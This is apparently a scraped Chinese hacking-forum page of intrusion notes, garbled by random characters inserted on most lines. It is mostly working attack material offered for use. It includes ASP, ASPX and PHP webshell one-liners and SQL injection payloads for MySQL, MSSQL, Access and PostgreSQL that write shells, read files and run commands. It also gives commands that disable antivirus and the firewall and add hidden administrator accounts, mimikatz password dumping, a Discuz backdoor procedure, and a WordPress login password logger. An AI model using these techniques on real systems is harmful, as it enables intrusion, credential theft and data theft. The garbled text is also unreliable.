SELECT '<%execute request("a")%>' into [a] in 'c:\x.asp;a.xls' 'excel 8.0;' from a
4 m  j4 C" i: haccess中导出shell6 q' _( \& {% B7 D- K- q5 a! v2 r
; {3 z: E% q1 t
中文版本操作系统中针对mysql添加用户完整代码:
) m9 h  K9 x* f/ F2 n" L5 {, K9 X  d* O) J" i
use test;
( K3 s! s- F) Z9 ~' S$ r4 _- W0 @create table a (cmd text);/ k0 ?! z# m+ E) c; ]1 z; ~
insert into a values ("set wshshell=createobject (""wscript.shell"") " );% o8 C, s# j. v1 z
insert into a values ("a=wshshell.run (""cmd.exe /c net user test 123!@#abcABC /add"",0) " );6 z! U' T& s( |' u- q
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators test /add"",0) " );2 R, [$ y- W: ?, P4 V6 d1 X
select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
- ?& d8 W1 q, B3 rdrop table a;; {) I5 b8 H! O4 l: i, |
0 \7 w$ @7 s# r( m
英文版本:
% ]2 z( |( w0 V: t
- J5 g2 k6 F! K9 a+ D$ J' q) uuse test;
* M1 @6 c! d7 k  g0 ?8 Jcreate table a (cmd text);# i6 U  S8 S( Q% z  r
insert into a values ("set wshshell=createobject (""wscript.shell"") " );
+ _9 [% d. A' t, O" Einsert into a values ("a=wshshell.run (""cmd.exe /c net user test 123!@#abcABC /add"",0) " );* U. O& g' l# ^: W
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators test /add"",0) " );
) g* Y# \! e2 c# @select * from a into outfile "C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\a.vbs";: @9 w4 k/ o" n; ]& h
drop table a;' D: l9 r: h3 M1 M5 U( O

  W- h" Y( n0 W6 V' q- r" b- Ycreate table a (cmd BLOB);+ V: I- R, D8 K2 O* `( F  E8 a
insert into a values (CONVERT(木马的16进制代码,CHAR));
, O0 S9 W5 W. ^' p: k5 F( Uselect * from a into dumpfile 'C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\启动\\mm.exe'& T7 h8 f, x+ v* C% j
drop table a;
, d) ]3 r! Q+ s; ~. p
( b. J) V7 ~" a6 y记录一下怎么处理变态诺顿
  J' L' I, I  @6 N. l9 a查看诺顿服务的路径3 X- ^3 q5 O/ B: {# o
sc qc ccSetMgr
3 X5 `# b7 v. z9 {$ q4 O然后设置权限拒绝访问。做绝一点。。
- x5 ^& g$ u$ `7 R% |$ Z$ ]8 s3 k3 lcacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /d system
8 U* x% j: z0 c. ]! @. v" Z% \cacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /d "CREATOR OWNER"$ D$ K/ s9 q, N! [2 g2 e
cacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /d administrators
  U, S& o: H+ i+ P" X5 r0 o: r9 scacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /d everyone4 s! t, D+ b( J2 m5 v) E

, Q2 ~* m3 J4 B0 e然后再重启服务器* u6 l1 Y. Q3 w" b  p- v
iisreset /reboot
9 D! Q5 e& K# ]) W+ t这样就搞定了。。不过完事后。记得恢复权限。。。。5 L( R2 t& C* G- b; L. \
cacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /G system:F) g4 z3 n% A7 [  V) i" X" l/ x/ X
cacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /G "CREATOR OWNER":F# ]2 Y, i8 A( O! L
cacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /G administrators:F3 K8 |+ K! x" \
cacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /G everyone:F
* ?- b3 H: A. ]SELECT '<%eval(request(chr(35)))%>' into [fuck]  in 'E:\asp.asp;fuck.xls' 'EXCEL 4.0;' from admin" d- P3 \9 q+ R$ u
# a. B; L% U% e. M3 N) `
EXEC('ma'+'ster..x'+'p_cm'+'dsh'+'ell ''net user''')
2 e% M  R! Z6 ^+ ]7 k' Q/ ~% H9 W, g+ I5 E7 `$ _5 P# j; T
postgresql注射的一些东西" U0 K' {- }7 e' z+ Y. K) v+ ]
如何获得webshell
/ o* \7 v: K7 i$ {% _http://127.0.0.1/postgresql.php?id=1;create%20table%20fuck(shit%20text%20not%20null); / y  ?/ j( t0 O8 x# d9 T; c6 ^
http://127.0.0.1/postgresql.php?id=1;insert into fuck values($$<?php eval($_POST[cmd]);?>$$); " ]' L4 d. M: c# @0 a" z% x3 T$ j
http://127.0.0.1/postgresql.php?id=1;copy%20fuck(shit)%20to%20$$/tmp/test.php$$;; C; R/ j; r0 ]7 ]) {% A6 ^) w
如何读文件. g) {1 V, c# [+ U- G+ ^
http://127.0.0.1/postgresql.php?id=1;create table myfile (input TEXT);
" C. n2 {# n! L9 l# d  l  _) l, O/ Ohttp://127.0.0.1/postgresql.php?id=1;copy myfile from ‘/etc/passwd’;
+ U, H8 E5 A1 x- a" H2 W* I9 D) Whttp://127.0.0.1/postgresql.php?id=1;select * from myfile;% A& e* G0 @4 [* M

% ]8 t) b0 F1 B& k* V1 k! Vz执行命令有两种方式,一种是需要自定义的lic函数支持,一种是用pl/python支持的。
0 r6 S, U! r# [) Z6 d5 W& j当然,这些的postgresql的数据库版本必须大于8.X. V. L5 [4 F$ _: J
创建一个system的函数:4 @( d7 g' }$ [: J% X# T1 c: y
CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT# {1 {9 K: y5 q/ D

& Z- j/ O+ V- K  D, p. R8 f) h创建一个输出表:' s- ^; n6 J# ~, D
CREATE TABLE stdout(id serial, system_out text)
  l4 v& v4 S: Q- e" f) n8 b+ ~1 x5 U
执行shell,输出到输出表内:
/ G  q& A! _  c9 N2 f& J0 nSELECT system('uname -a > /tmp/test')
- f* B4 J  u7 q( ]1 d. K+ h* Z9 m+ ?" x8 L1 L" C) b' c
copy 输出的内容到表里面;
. q1 D5 |7 R; n$ |' m  ZCOPY stdout(system_out) FROM '/tmp/test'% z9 x2 x2 j0 u" W
# g- K% w# G- f: k) D2 S
从输出表内读取执行后的回显,判断是否执行成功2 C5 b1 P. y' u3 ]& s- p6 z4 X- h" ^
) f" f5 N* b4 {; m- c
SELECT system_out FROM stdout
; H8 D3 r7 c% K4 ?: ^5 f下面是测试例子5 I6 G- ?# ~! }- ?
; O) W  o- c* j& N- Y
/store.php?id=1; CREATE TABLE stdout(id serial, system_out text) -- 0 g+ G1 \7 A3 g; S7 j
$ ]# n  Y9 N2 u! X# ]4 u+ d1 @
/store.php?id=1; CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6','system' LANGUAGE 'C'
; S# c7 x/ a' J; t- [$ Z: \( jSTRICT --
; p  m+ g" k0 t; Y/ \2 W: J. o1 N2 q
) t+ W$ [! L+ \& H: U/store.php?id=1; SELECT system('uname -a > /tmp/test') --( O) B* {' J+ Z+ f

2 v5 L* }# s0 |! K2 U# @/store.php?id=1; COPY stdout(system_out) FROM '/tmp/test' --
) V0 `2 j# D' I/ x) S/ k
9 V* t! l; M9 j& X- w  {" [, [6 j/store.php?id=1 UNION ALL SELECT NULL,(SELECT stdout FROM system_out ORDER BY id DESC),NULL LIMIT 1 OFFSET 1--9 _& I+ @8 j7 c' m
net stop sharedaccess    stop the default firewall
/ w: J+ v6 d, w# |/ x8 V% knetsh firewall show      show/config default firewall
" N  \! ?5 T. j4 C  |: Znetsh firewall set notifications disable   disable the notify when the program is disabled by the default firewall7 {" _4 H, i: @2 H; H
netsh firewall add allowedprogram c:\1.exe Svchost     add the program which is allowed by default firewall
1 Z# e1 t3 M0 i) r修改3389端口方法(修改后不易被扫出)
! D! q4 ?# {  @+ E( y0 N! k5 I修改服务器端的端口设置,注册表有2个地方需要修改- ]9 s- U; A1 }0 E6 \3 J7 D
3 A1 Q2 P$ s+ C9 c; J3 ]% @5 o
[HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\TerminalServer\\Wds\\rdpwd\\Tds\\tcp]
1 i& _. ?1 `9 l9 v1 S9 H" oPortNumber值,默认是3389,修改成所希望的端口,比如60007 `4 F0 h! D& @) V

: _) t3 u# U& o6 [- [* l, x/ I7 C第二个地方:
8 q  U& M# M3 u! L+ X4 t$ s[HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp] 
: U' \0 \/ u, r% v( @PortNumber值,默认是3389,修改成所希望的端口,比如6000
) |) t  w7 j; e$ K. j
8 l; E% t6 m% U# `" I现在这样就可以了。重启系统就可以了/ C% D: i# t5 T& s. q+ b: W; _

8 i8 c/ M8 x9 P, [2 `查看3389远程登录的脚本: t' {' r- P  {  U! E; T/ U
保存为一个bat文件( P  Z1 U! y+ z) v
date /t >>D:\sec\TSlog\ts.log- O6 C( ~5 L$ j7 X
time /t >>D:\sec\TSlog\ts.log, ]& z- |  f8 i. I' P( L5 k
netstat -n -p tcp | find ":3389">>D:\sec\TSlog\ts.log1 U8 }9 X* w3 g
start Explorer. h8 a4 |6 t. l; V) ~7 _1 s, k5 `

8 T! \6 ^: i; `5 p  j/ h% x) ^mstsc的参数:
7 A: c0 H3 l8 R: |  R
# u+ l) ^+ L* q远程桌面连接
' E/ v  j* _3 ~: k6 Q- ]
* z7 Z5 N2 k( AMSTSC      [<Connection File>] [/v:<server[:port]>] [/console] [/f[ullscreen]]3 ^* O- _* V; Z! |' {
  [/w:<width> /h:<height>] | /Edit"ConnectionFile" | /Migrate | /?
. T; c$ j& _; @0 ^( ~
# N; D" A. _1 u<Connection File> -- 指定连接的 .rdp 文件的名称。% u5 |1 Y" e" [7 `# k

9 P/ T9 o$ p9 y- r+ s/v:<server[:port]> -- 指定要连接到的终端服务器。$ k" U' P' o$ K; u- L

. P/ l, h1 T3 Q' G. g$ Y, x3 M, W5 R/console -- 连接到服务器的控制台会话。6 a) p4 u* s3 g: Y" }; Z

' }$ v! g) N$ I/ ^& [/f -- 以全屏模式启动客户端。; O$ W- a5 p0 |# B
2 I" R9 s$ l, U9 ?
/w:<width> --  指定远程桌面屏幕的宽度。
8 }, M" G# J1 |
, J. i! L1 K0 e4 |& }4 Q$ d/h:<height> -- 指定远程桌面屏幕的高度。! ]/ {1 G7 C7 L2 P) G7 d5 {3 S

3 l% P& F; T. Y( i- V! s, I/edit -- 打开指定的 .rdp 文件来编辑。
, b- s7 ?: `- [% Q* O- n0 F. ]" x! _4 l& \  t8 j7 |! u. i
/migrate -- 将客户端连接管理器创建的旧版2 |; Z8 d) n$ B  s5 y$ B  x
连接文件迁移到新的 .rdp 连接文件。( C/ S. U) t5 C0 a: Z
# T5 t8 `' o& R/ p0 A

, j2 e+ @9 O% F8 h3 f, W6 {5 c8 ~6 |其中mstsc /console连接的是session 0,而mstsc是另外打开一个虚拟的session,这样的话就是相当与另外登陆计算机。也就是说带console参数连接的是显示器显示的桌面。大家可以试试啊,有的时候用得着的,特别是一些软件就
' H- r1 G7 U6 Y& B" z6 xmstsc /console /v:124.42.126.xxx 突破终端访问限制数量
6 \* @6 D1 q$ h1 q; H1 \5 S2 P4 i. e5 T' S, @9 _
命令行下开启3389! H) }7 {# ^) q+ i9 u, u
net user asp.net aspnet /add& W/ A# x1 }1 m8 A
net localgroup Administrators asp.net /add8 n/ Y) t* Z; ]. ?
net localgroup "Remote Desktop Users" asp.net /add$ t! E; S- R: z5 P5 `
attrib +h "%SYSTEMDRIVE%\Documents and Settings\asp.net" /S /D6 K2 c, x8 o% ~8 W' D
echo Y | reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t reg_dword /d 0
. f# Z& M% p% K; ]9 m  t1 T& I  Becho Y | reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v AllowTSConnections /t reg_dword /d 1# {5 H! G" ]) P4 X# M2 x! ^( ^
echo Y | reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v "asp.net" /t REG_DWORD /d 00000000 /f0 i( d- Q/ E/ L# n
sc config rasman start= auto8 H/ e$ ]; p# I# ^
sc config remoteaccess start= auto7 K1 h& g. V: y" r) o; x
net start rasman
, a* c* e; ?( unet start remoteaccess: c- G; T/ {1 D0 J7 ?  k
Media
, m  p3 H! l" Z<form id="frmUpload" enctype="multipart/form-data"
! F0 u2 o; y- M5 t; C$ {- baction="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>
% U8 A2 K* v/ B) q8 g' V1 [<input type="file" name="NewFile" size="50"><br>
# `% d3 a* O$ y5 R* J8 u9 ?2 s: [<input id="btnUpload" type="submit" value="Upload">! J3 z- o/ y( O! U# F2 X7 _7 z
</form>
% f8 [0 r9 P: L) T2 \. Q
2 E) D  e* V2 h2 n& Hcontrol userpasswords2 查看用户的密码
0 Y/ x4 K1 Y, P0 S3 A) `4 o& Naccess数据库直接导出为shell,前提a表在access中存在。知道网站的真实路径
, D$ [8 R$ B' y% xSELECT '<%execute request("a")%>' into [a] in 'c:\x.asp;a.xls' 'excel 8.0;' from a
1 P  H1 _8 o3 ]; P4 Y0 n4 ]2 c& \5 m7 ~/ K) e) f# Y9 |5 M# Y
141、平时手工MSSQL注入的时候如果不能反弹写入,那么大多数都是把记录一条一条读出来,这样太累了,这里给出1条语句能读出所有数据:# ^1 d8 U' }2 K/ y
测试1:
# h0 T" m9 _4 o% A  ]- {/ \SELECT top 1 name=STUFF((SELECT ','+[name] FROM sysobjects t  where xtype='U' FOR XML PATH('')), 1, 1, '') FROM sysobjects t1: f2 a3 b* |7 }, L

5 y# P6 s5 z) K& n0 H测试2:
1 ?/ H* P& G* l/ D3 W6 B& {& T- ^
/ L& s! a7 e; Y0 l' v0 |. e* Dcreate table dirs(paths varchar(100),paths1 varchar(100), id int)
. S7 f6 _: ?7 ~* [- I% L: L7 N# {  x2 J
delete dirs;insert dirs exec master.dbo.xp_dirtree 'c:\',1,1--
8 i: E" P/ G: t3 C2 |
# ?) O3 Q: ~$ B& o4 X( ]1 fSELECT top 1 paths=STUFF((SELECT ','+[paths] FROM dirs FOR XML PATH('')), 1, 1, '') FROM dirs t1& M4 f% G) l( v2 y' N
关闭macfee软件的方法://需要system权限,请使用at或psexec –s cmd.exe命令$ B5 k& L( b# s" ]6 `' }. H
可以上传.com类型的文件,如nc.com来绕过macfee可执行限制;
% |8 @" C" P8 {3 ~8 L7 Unet stop mcafeeframework* T5 d* ~7 s5 v/ j4 p" w3 ^) W
net stop mcshield
# P+ z: [+ L) c/ T% B# nnet stop mcafeeengineservice# I6 ^& h* E9 P9 m2 k) o
net stop mctaskmanager
. D: L  a  w) {) e" U/ {; @http://www.antian365.com/forum.p ... DU5Nzl8NDY5Mw%3D%3D& B% @9 x, v/ q2 V$ R& }; ]
: W, \7 z# A, ^, K
  VNCDump.zip (4.76 KB, 下载次数: 1) 7 C/ d; O- A  }
密码在线破解http://tools88.com/safe/vnc.php
5 L7 y( |4 v. f7 F* s& J, d1 ?# I1 T* UVNC密码可以通过vncdump 直接获取,通过dos查询[HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4] 下的Password也可以获取6 t$ V/ p+ A8 W9 W2 i% ?

4 F& K2 a0 u5 k1 M2 ~  e& wexec master..xp_cmdshell 'net user'" N4 w! I$ f% F* C
mssql执行命令。: b! ^( c, {7 s9 k+ g+ i+ z
获取mssql的密码hash查询0 ~; H+ ?- \1 b
select name,password from master.dbo.sysxlogins
( d: n+ t7 X* A, F9 x- ]! F5 g3 ~# x2 ]2 Q
backup log dbName with NO_LOG;
# G2 J' C5 y  W5 \backup log dbName with TRUNCATE_ONLY;
& n/ B$ _# v6 V$ TDBCC SHRINKDATABASE(dbName);& r* k" I2 V. Z( b, U  ?# p+ q# Y
mssql数据库压缩; m" N+ X* g" e- M9 d6 G, P$ L' R

2 F# j7 \3 L, v8 |! DRar.exe a -ep1 -m0 -v200m E:\web\1.rar E:\webbackup\game_db_201107170400.BAK5 K$ O8 Q  x1 C$ i
将game_db_201107170400.BAK文件压缩为1.rar,大小为200M的分卷文件。. T+ t* V# M# v
, W& M% t. I- Y7 J2 q$ L8 ?/ g
backup database game to disk='D:\WebSites\game.com\UpFileList\game.bak'" n8 R7 c* _$ K
备份game数据库为game.bak,路径为D:\WebSites\game.com\UpFileList\game.bak9 J. @9 ~$ M/ X% `; L# E

% Y" e4 M" X* L  E" }; SDiscuz!nt35渗透要点:% F" ]7 `1 d: T/ m8 y8 u
(1)访问 网站地址/admin/global/global_templatesedit.aspx?path=../tools/&filename=rss.aspx&templateid=1&templatename=Default
- _" G" G, O# S4 b' X& n! w: W(2)打开rss.aspx文件,将<%@ Page Inherits="Discuz.Web.UI.RssPage" %>复制到本地备份,然后替换其为<%@ Page Language="Jscript"%><%eval(Request.Item["pass"],"unsafe");%>
, t% E/ s9 R$ _(3)保存。1 `- e+ ^* }3 y; E
(4)一句话后门地址http://somesite.com.cn/tools/rss.aspx 密码为pass
& W- j0 |) f- }$ }. G+ S: Dd:\rar.exe a -r d:\1.rar d:\website\
- @+ f. u+ c- w* |6 h( n$ n递归压缩website
5 o3 O! J: S- @3 Y+ B" f注意rar.exe的路径
" ]: M+ U* _/ [" q) `3 K5 A1 F4 x: w7 |9 {. A
<?php8 Y" U* h# W# J" T; B
+ C; y8 J3 _% A7 f4 ]
$telok   = "0${@eval($_POST[xxoo])}";- M! Q) J4 Z$ a) X/ `

( }1 t6 l# R  K7 c4 X" M$username   = "123456";
! c: a2 J* P3 r& }& K7 j2 [2 M2 k! M  C7 F* k6 B! X
$userpwd   = "123456";
/ B' i6 k' e# u/ p; J' N, e9 W2 E' `% P/ d8 ^$ K/ E
$telhao   = "123456";
% y% X. Y* h% X6 Y8 E+ g3 h# i3 [! |/ ?* B! L9 S, m7 t  k, H6 h
$telinfo   = "123456";
. I- v3 N& |# Y, ?  p: i) K6 T# J
/ r! K' k% @' l?>
2 d: t0 u. ^6 f- o, y) kphp一句话未过滤插入一句话木马9 O5 h. U# J, `* X6 x3 D7 m

3 G6 E: `$ C8 K4 w3 _- W站库分离脱裤技巧
; n4 R' f$ \; s5 J/ {exec master..xp_cmdshell 'net use \\xx.xx.xx.xx\d$\test "pass" /user:"user"'9 ~2 r! M8 @" a
exec master..xp_cmdshell 'bcp test.dbo.test out \\xx.xx.xx.xx\d$\test\1.txt -c -Slocalhost -Uuser -Ppass'& ^2 W' K. w5 D
条件限制写不了大马,只有一个一句话,其实要实现什么完全够了,只是很不直观方便啊,比如tuo库。
' x% E* H+ j/ [# D9 c1 Z6 F这儿利用的是马儿的专家模式(自己写代码)。7 d/ G' O: e( w3 O8 K
ini_set('display_errors', 1);. g$ ]0 q" `8 _8 U
set_time_limit(0);
( Q' T" O8 L/ V2 y/ p( T( |error_reporting(E_ALL);
. S  k; O4 B* p9 l$connx = mysql_connect(":/var/tmp/mysql.sock", "forum", "xx!!xx3") or die("Could not connect: " . mysql_error());2 u9 N1 x1 D  y
mysql_select_db("discuz",$connx) or die("Could not connect: " . mysql_error());
( w3 \- k! o2 x$result = mysql_query("Select * FROM members",$connx) or die("Could not connect: " . mysql_error());3 y2 q: J3 y9 u! i
$i = 0;
0 X5 c* d) ~. d9 k% C' I& z% K$ ]7 a$tmp = '';$ u+ x; R' ?9 O
while ($row = mysql_fetch_array($result, MYSQL_NUM)) {( B3 h* U6 i) G9 T
    $i = $i+1;
! j$ B$ Z+ G  D, E- O    $tmp .=  implode("::", $row)."\n";( \  R1 ?) {" b
    if(!($i%500)){//500条写入一个文件
$ F1 j- i! Q  r* g6 y6 E        $filename = '/home/httpd/bbs.xxxxx/forumdata/cache/user'.intval($i/500).'.txt';
) s: o/ G+ S9 o5 @) X) e        file_put_contents($filename,$tmp);' C9 x' K9 s2 q9 n, u" H
        $tmp = '';
8 f( V9 K. n+ `; i    }
9 T5 ^0 R8 Y3 ~2 o) j: D1 ?7 G+ F}
) @6 W# S) e7 t7 i0 F% p& Vmysql_free_result($result);
4 i* C4 }2 ~5 i6 }" ^
0 E: k/ V& [, U9 C, E
9 q6 Y& d  p; i3 ]- @- G3 F( H0 E! F6 C
//down完后delete
5 u( ]/ f3 ^/ K& ^" k/ f4 y0 u& Z' ^1 P- m5 U4 F" j, _

' k. |/ |* ~. b, Rini_set('display_errors', 1);9 ]& `7 t6 z! k! Z; s3 g& ^( J
error_reporting(E_ALL);2 U6 z# i  i7 H! S; }% U
$i = 0;
3 G9 f3 {% E' p' K1 s- jwhile($i<32) {) `+ k% p8 A0 [
    $i = $i+1;; {4 s7 G6 u' A) A. }
        $filename = '/home/httpd/bbs.xxxx/forumdata/cache/user'.$i.'.txt';
& p1 c4 {- d4 D4 g% {+ V' ~0 P        unlink($filename);$ C8 C% j: `' i* M/ P  e: m
} # t5 A# ]# Z! j# I# d9 w6 X
httprint 收集操作系统指纹
( x  }8 x+ `7 o* v8 i扫描192.168.1.100的所有端口! {1 n* Z' |; x3 @7 p. \
nmap –PN –sT –sV –p0-65535 192.168.1.1005 T' i0 Y% E3 E
host -t ns www.owasp.org 识别的名称服务器,获取dns信息$ @* X8 q+ M' b3 Y  ?) R) D8 V
host -l www.owasp.org ns1.secure.net 可以尝试请求用于owasp.org的区域传输
* I8 ?+ o7 b5 `& _% D0 R, `$ JNetcraft的DNS搜索服务,地址http://searchdns.netcraft.com/?host
0 \1 h6 u  Y8 d* M' F( K9 A
8 F3 W" N$ r: \! h9 ]Domain tools reverse IP: http://www.domaintools.com/reverse-ip/ (需要免费注册)2 M6 D8 F. p0 I  C2 E0 \1 m

( i8 Z( H- Y- K  MSN search: http://search.msn.com 语法: "ip:x.x.x.x" (没有引号)
( X- K$ ~) O5 ?2 K7 M* L5 j% Y( ]" U! U6 `
  Webhosting info: http://whois.webhosting.info/ 语法: http://whois.webhosting.info/x.x.x.x
  n  w0 u) @0 \! u" ~
  i6 ?; b: v1 Q$ }& g: {  DNSstuff: http://www.dnsstuff.com/ (有多种服务可用)' Y2 ~$ l4 u. ~3 Y# h5 c

9 Q% N* R, V6 d  http://net-square.com/msnpawn/index.shtml (要求安装)+ p/ ?# R0 Y! u

6 `8 a: r. ]8 k$ r2 J  tomDNS: http://www.tomdns.net/ (一些服务仍然是非公开的)
4 c# L4 J) Y+ m" l, J# |! I5 t1 j; R  V
  SEOlogs.com: http://www.seologs.com/ip-domains.html (反向IP/域名查找)/ L( z; C9 X* d5 U: n
set names gb23124 N2 m/ T6 E8 r; _
导入数据库显示“Data too long for column 'username' at row 1”错误。原因是不支持中文。
8 Y* u8 p! r( ^# A! l# i2 {, R  S+ n/ A$ \$ O' V
mysql 密码修改7 G6 z( w  c1 v( k$ a" g, {8 A5 R
UPDATE mysql.user SET password=PASSWORD("newpass")  whereuser="mysqladmin ” : q8 v! g* x. G; H& s& E4 G
update user set password=PASSWORD('antian365.com') where user='root';. B  a4 Q% o% q* Z8 ]
flush privileges;
, G) V' X, e& q+ o# j* U: F高级的PHP一句话木马后门5 R# |, M" j; N$ Q7 F3 g3 E

/ l4 h% O* T; e+ @$ `; ^入侵过程发现很多高级的PHP一句话木马。记录下来,以后可以根据关键字查杀9 Z. i% @, y. x$ l2 G" }" T
" R* l' c. \# Q; W
1、
4 U7 X1 n) o' X9 F% d
! d, y, G' d% ]$hh = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";
$ `7 c# g0 X4 n
- o  G$ `: g% n8 ^$hh("/[discuz]/e",$_POST['h'],"Access");0 ^* |: p( K1 m' J7 h3 u
6 N8 ^, |# V) T) l  b% O4 y$ E  C/ t
//菜刀一句话
4 Q9 e$ K: Q  P" n/ t8 J' k
: G" q4 m) S" o/ I2、3 Y3 h$ E. C* K4 ?3 S

) A0 G) R& H# @: o  v7 L$filename=$_GET['xbid'];8 c8 Q% c) G$ S$ U( U
+ o* C0 f4 s) v' ]" `0 D, U
include ($filename);+ ^: j* R. e2 o- p: N
$ N% |/ A. ]& U% M
//危险的include函数,直接编译任何文件为php格式运行
7 p6 z0 E7 ^0 @+ r
1 ~( b: P- _$ `3 H) l; @3 x3、0 `4 b0 R; X+ V- K

0 q' {9 [' U# P+ _. `' k1 i, y$reg="c"."o"."p"."y";( [4 O7 C, D+ ~. x

7 h& Q/ @+ }6 d7 k3 N9 ?" r1 ], n$reg($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]);
6 a) h+ G5 u7 l) w$ Y: s# _) R/ G' v7 ~8 `# a2 e8 D
//重命名任何文件. E, }3 [" l2 d+ W2 V6 F
0 @" B, J: l+ l% n6 J$ W" j5 J' a
4、
' q! W" f+ x1 {9 N0 q, C5 T. A1 Q/ f
$gzid = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";; T* a5 A2 [* V7 e' a- [

# F* M0 h, J6 o  N6 F( k* f$gzid("/[discuz]/e",$_POST['h'],"Access");  {8 {& E. Y! P3 s
6 D, P$ V( a" d5 o; {5 ~% }
//菜刀一句话
3 M' L5 E# i% _$ D1 y5 ~$ Z5 }: j5 z1 D1 |. w( s* b  [1 M' Y& g
5、include ($uid);
5 S4 }0 {' _( z" `# M; \' S4 C& P' I5 e' [% k( l
//危险的include函数,直接编译任何文件为php格式运行,POST
5 [& O' v& \% U% H7 [. R3 I7 g; t. W( W1 }% g( ~0 A
! j( _: L  H1 A' Z
//gif插一句话
" A6 ?4 M8 W; C4 h2 ^
0 F( m' @- e' \2 H8 M& V6、典型一句话* T+ F" e6 g' S4 @

8 O/ N8 X' @/ @# t, K9 ^/ @程序后门代码
( c& k. X9 w1 j3 `& C  L1 m<?php eval_r($_POST[sb])?>% D: u5 B! r9 b" l9 g. a1 T1 x- A; g
程序代码; N" C5 u9 D+ G" y/ p! A* i9 G
<?php @eval_r($_POST[sb])?>+ p  W+ d3 m! k  A+ W# `: Q' F3 f4 F
//容错代码
4 W, H3 X- B3 T程序代码+ i% P- f2 I% x0 L% u9 j
<?php assert($_POST[sb]);?>
5 _% f5 I/ L$ w  w# M- E1 ], k/ v' a//使用lanker一句话客户端的专家模式执行相关的php语句
7 x- P. |/ z6 U2 a程序代码
0 S2 o; b' E- }<?$_POST['sa']($_POST['sb']);?>
1 T0 v, i3 x3 ]/ H程序代码
4 D- }9 F' \7 U, P% G<?$_POST['sa']($_POST['sb'],$_POST['sc'])?>
, o8 A  m: M, M( z8 S程序代码0 s7 L7 o; x5 j. |3 V  R/ n" I
<?php1 Y. |2 h3 A  `+ K: }9 i& H
@preg_replace("/[email]/e",$_POST['h'],"error");3 m. q: s2 ^5 S" ^
?>
# ^6 t3 v$ x1 ?2 i' m, n/ P//使用这个后,使用菜刀一句话客户端在配置连接的时候在"配置"一栏输入/ v* l( K% Z$ U+ Q0 y# K
程序代码
( K; J/ ^0 Q3 T, K7 p* t0 r<O>h=@eval_r($_POST[c]);</O># L/ r8 K9 m7 D0 Y+ D! R5 |6 n. I4 t' M) i
程序代码
& u# n# I5 Q  x0 H<script language="php">@eval_r($_POST[sb])</script>3 B& L1 Z1 p, Q% |; \3 U  H' g7 ~: P
//绕过<?限制的一句话1 O+ M1 K* `, r5 L

' x0 Y( z% m+ \+ Y+ U1 E2 ^http://blog.gentilkiwi.com/downloads/mimikatz_trunk.zip
2 v# b$ s, _% o% T+ K详细用法:2 v$ B# ]8 }3 C+ Z" @  Q+ Z/ a
1、到tools目录。psexec \\127.0.0.1 cmd
. H+ o/ f* z) r- X2、执行mimikatz! V& M2 q) k* J8 c: |
3、执行 privilege::debug
8 b) E" \: l; `% Q- Q1 O. O# a4、执行 inject::process lsass.exe sekurlsa.dll
0 S: i  k, C* Q5 m: Z' |5、执行@getLogonPasswords
1 K& q  Y& [6 n5 e9 k6、widget就是密码
' |7 D5 `! d5 j0 m  T' E; w7、exit退出,不要直接关闭否则系统会崩溃。0 g3 Y9 y, ~! ~: q- ~$ P% a

/ \. T4 \6 H5 @5 w" \http://www.monyer.com/demo/monyerjs/ js解码网站比较全面* S% O! }; {, [, I) b- k
3 |8 l5 ^; M- \' b# z% s7 Z" }) A
自动查找系统高危补丁
- w. n9 N: a1 s( osysteminfo>a.txt&(for %i in (KB2360937 KB2478960 KB2507938 KB2566454 KB2646524 KB2645640 KB2641653 KB944653 KB952004 KB971657 KB2620712 KB2393802 kb942831 KB2503665 KB2592799) do @type a.txt|@find /i "%i"||@echo %i Not Installed!)&del /f /q /a a.txt% V% l( C' E% _% G
+ p7 f- \' Y* K+ w0 X  Y5 Z
突破安全狗的一句话aspx后门. H$ i6 K& q; U1 H1 n
<%@ Page Language="C#" ValidateRequest="false" %>( b4 [. d2 j. O& {4 e* [! m
<%try{ System.Reflection.Assembly.Load(Request.BinaryRead(int.Parse(Request.Cookies["你的密码"].Value))).CreateInstance("c", true, System.Reflection.BindingFlags.Default, null, new object[] { this }, null, null); } catch { }%>
: x; [0 g  C$ o3 }webshell下记录WordPress登陆密码
' Q& L. v, }9 ]$ k' w, cwebshell下记录Wordpress登陆密码方便进一步社工
0 F+ }& y: j) u( k/ C( O- b. w在文件wp-login.php中539行处添加:4 ~# `0 a( @; {( P
// log password+ X: W: r0 X3 S5 D
$log_user=$_POST['log'];
- o# v3 K3 s# M) l6 L( x2 d3 f$log_pwd=$_POST['pwd'];
4 e2 Y8 I6 Y9 o+ K+ \5 g$log_ip=$_SERVER["REMOTE_ADDR"];
1 ?% B+ p2 b# M$ _$txt=$log_user.’|’.$log_pwd.’|’.$log_ip;
) Z0 J( U6 G; T5 z3 v( O8 T, H: j$txt=$txt.”\r\n”;  M* E- g7 C% N, M9 |
